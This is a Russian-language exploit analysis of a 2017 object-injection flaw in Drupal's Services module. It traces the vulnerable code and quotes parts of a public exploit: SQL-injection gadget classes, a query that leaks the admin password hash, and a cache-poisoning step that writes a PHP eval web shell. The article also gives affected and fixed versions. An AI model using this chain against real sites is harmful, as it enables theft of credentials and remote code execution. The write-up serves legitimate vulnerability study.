Содержание статьи

Дата релиза: 8 марта 2017 года
Автор: Чарльз Фол (Charles Fol)
 

BRIEF

Уязвимость существует из-за включенной по умолчанию поддержки сериализованных PHP-данных в запросах. Это приводит к атаке типа «внедрение объектов».

 

EXPLOIT

В прошлом обзоре мы рассматривали уязвимость в REST API WordPress. Теперь поговорим о проблеме в API CMS Drupal. Здесь все гораздо серьезнее — к нам в руки попадает полноценная RCE. В чем причина? Давай разбираться.

Причины

В Drupal в отличие от того же WordPress для реализации REST API нужно устанавливать отдельный модуль Services. После установки можно заглянуть во вкладку настроек модуля и увидеть там галочку, с которой и связана уязвимость.

Настройка Request parsing — причина уязвимости
Настройка Request parsing — причина уязвимости

По умолчанию поддерживаются данные в форматах:

  • application/vnd.php.serialized;
  • multipart/form-data;
  • application/json;
  • application/xml.

Если со всякими JSON и XML все ясно, то что же такое vnd.php.serialized? Это не что иное, как сериализованные данные PHP. И если отправить запрос с Content-Type: application/vnd.php.serialized, то тело запроса будет передано в unserialize().

/modules/servers/rest_server/rest_server.module:

52: function rest_server_request_parsers() {
53:   static $parsers = NULL;
54:   if (!$parsers) {
55:     $parsers = array(
...
58:       'application/vnd.php.serialized' => 'ServicesParserPHP',

/modules/servers/rest_server/includes/ServicesParser.inc:

14: class ServicesParserPHP implements ServicesParserInterface {
15:   public function parse(ServicesContextInterface $context) {
16:     return unserialize($context->getRequestBody());
17:   }
18: }

У нас на руках PHP Object Injection как из учебника. Для успешной эксплуатации осталось просмотреть исходники CMS и поискать нужные гаджеты. Правда, Чарльз уже все сделал за нас, достаточно заглянуть в эксплоит.

SQL Injection

Проследим за процессом авторизации по коду. За эту функцию отвечает метод /user/login.

/modules/services/resources/user_resource.inc:

003: function _user_resource_definition() {
004:   $definition = array(
005:     'user' => array(
...
139:       'actions' => array(
140:         'login' => array(
141:           'help' => 'Login a user for a new session',
142:           'callback' => '_user_resource_login',
...
593: function _user_resource_login($username, $password) {
...
614:     $uid = user_authenticate($username, $password);

Модуль Services, в свою очередь, формирует запрос к внутреннему API ядра Drupal, точнее к функции user_authenticate.

/modules/user/user.module:

2257: function user_authenticate($name, $password) {
...
2260:     $account = user_load_by_name($name);
...
2264:       if (user_check_password($password, $account)) {
2265:         // Successful authentication.
2266:         $uid = $account->uid;

Далее из таблицы выбирается пользователь с именем, переданным в параметре username. Если он существует, то переданный пароль сравнивается с находящимся в базе.

На этом этапе нас интересует, каким образом отправляются запросы к базе. Для их построения в Drupal есть классы SelectQueryExtender и DatabaseCondition. Они обрабатывают передаваемые данные, которые затем отправляются в метод query.

/modules/user/user.module:

397: function user_load_by_name($name) {
398:   $users = user_load_multiple(array(), array('name' => $name));

/modules/user/user.module:

290: function user_load_multiple($uids = array(), $conditions = array(), $reset = FALSE) {
291:   return entity_load('user', $uids, $conditions, $reset);

/includes/common.inc:

8008: function entity_load($entity_type, $ids = FALSE, $conditions = array(), $reset = FALSE) {
...
8012:   return entity_get_controller($entity_type)->load($ids, $conditions);

/includes/entity.inc:

157:   public function load($ids = array(), $conditions = array()) {
...
196:       $query = $this->buildQuery($ids, $conditions, $revision_id);
197:       $queried_entities = $query
198:         ->execute()

/includes/database/select.inc:

1272:   public function execute() {
...
1280:     return $this->connection->query((string) $this, $args, $this->queryOptions);

Обрати внимание, что передается не объект, а запрос в текстовом виде (строка 1280). Для этого в классе реализован магический метод __toString(), который конвертирует объект в привычный SQL-запрос с параметрами. В итоге он выглядит так:

SELECT base.uid AS uid, base.name AS name,
...
FROM
{users} base
WHERE  (base.name = :db_condition_placeholder_0)

API позволяет выполнять подзапросы, если в качестве параметра передается объект, который является экземпляром SelectQueryInterface.

/includes/database/query.inc:

1652: class DatabaseCondition implements QueryConditionInterface, Countable {
...
1793:   public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {
...
1838:             if ($condition['value'] instanceof SelectQueryInterface) {
1839:               $condition['value']->compile($connection, $queryPlaceholder);
1840:               $placeholders[] = (string) $condition['value'];
1841:               $arguments += $condition['value']->arguments();

Инъекция возможна, если объект, который мы передадим в качестве параметра username, будет удовлетворять трем условиям:

  • реализует интерфейс SelectQueryInterface;
  • имеет метод compile();
  • мы контролируем его строковое представление.

Чарльз нашел два класса, которые соответствуют этим условиям, — SelectQueryExtender и DatabaseCondition.

Первый можно использовать как прокси. В эксплоите свойство query — это экземпляр DatabaseCondition, поэтому при конвертировании запроса в строку будет выполнен метод __toString() именно из этого класса. Он и вернет подконтрольную нам строку.

/includes/database/select.inc:

536: class SelectQueryExtender implements SelectQueryInterface {
...
819:   public function __toString() {
820:     return (string) $this->query;
821:   }

Вот как элегантно реализована эксплуатация SQL-инъекции в эксплоите.

41564.php:

046: class DatabaseCondition
...
054:     public $stringVersion = null;
...
056:     public function __construct($stringVersion=null)
057:     {
058:         $this->stringVersion = $stringVersion;
...
068: class SelectQueryExtender {
...
072:     protected $query = null;
...
078:     public function __construct($sql)
079:     {
080:         $this->query = new DatabaseCondition($sql);
...
102: $query = new SelectQueryExtender($query);

Строка попадает в запрос, и он успешно отрабатывает.

Успешная эксплуатация SQL-инъекции
Успешная эксплуатация SQL-инъекции

Как видишь, автор добавил вывод хеша пароля администратора в качестве параметра signature_format.

RCE

Для выполнения произвольного кода в эксплоите используется манипуляция с кешем. Модуль Services кеширует параметры и функции-колбэки для каждого роута, и они выполняются при обращении к этому роуту. Используя объект класса DrupalCacheArray, мы можем изменить поведение конечной точки API и указать любую функцию PHP для ее обработки.

Другими словами, нам нужно сделать следующее:

  • изменить поведение /user/login, указав file_put_contents в качестве функции-обработчика;
  • вызвать /user/login;
  • вернуть стандартное поведение.

Воспользуемся освоенной нами SQL-инъекцией и получим данные из кеша, для того чтобы изменить только нужные значения.

41564.php:

034: $endpoint = 'rest_endpoint';
...
084: $cache_id = "services:$endpoint:resources";
085: $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
...
091: $query =
...
094:     "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
...
102: $query = new SelectQueryExtender($query);

Затем патчим существующее поведение.

41564.php:

036: $file = [
037:     'filename' => 'dixuSOspsOUU.php',
038:     'data' => '<?php eval(file_get_contents('php://input')); ?>'
039: ];
...
146: class DrupalCacheArray
147: {
...
156:     function __construct($storage, $endpoint, $controller, $action) {
...
160:         $this->cid = "services:$endpoint:resources";
...
165:             $storage[$controller]['actions'][$action] = [
166:                 'help' => 'Writes data to a file',
167:                 # Callback function
168:                 'callback' => 'file_put_contents',
...
175:                     0 => [
176:                         'name' => 'filename',
...
178:                         'description' => 'Path to the file',
...
182:                     1 => [
183:                         'name' => 'data',
...
185:                         'description' => 'The data to write',

Все, что осталось, — это сделать запрос на патченный роут. В качестве параметров указываем путь до файла (filename) и его содержимое (data). Отправляем и получаем шелл.

Успешная загрузка файла и выполнение кода
Успешная загрузка файла и выполнение кода

Я немного изменил эксплоит Чарльза. Добавил возможность работать через командную строку, а также вывод и сохранение всех данных, которые отправляются и которые возвращаются сервером. Мою версию можно посмотреть тут.

 

TARGETS

Drupal Services ветки 7.x-3.x до версии 7.x-3.18.

 

SOLUTION

Уязвимость исправлена в версии модуля 7.x-3.19. Причем, как пишет Чарльз, команде безопасников Drupal хватило сорока минут, чтобы изучить его репорт и предложить патч, который устраняет проблему. Воистину быстрая обратная связь!

Оставить мнение

Check Also

Как Apple обходит стандарты, заставляя тебя платить. Колонка Олега Афонина

Иногда сложные вещи начинаются с простых: планшет iPad Pro 10.5 вдруг перестал заряжаться …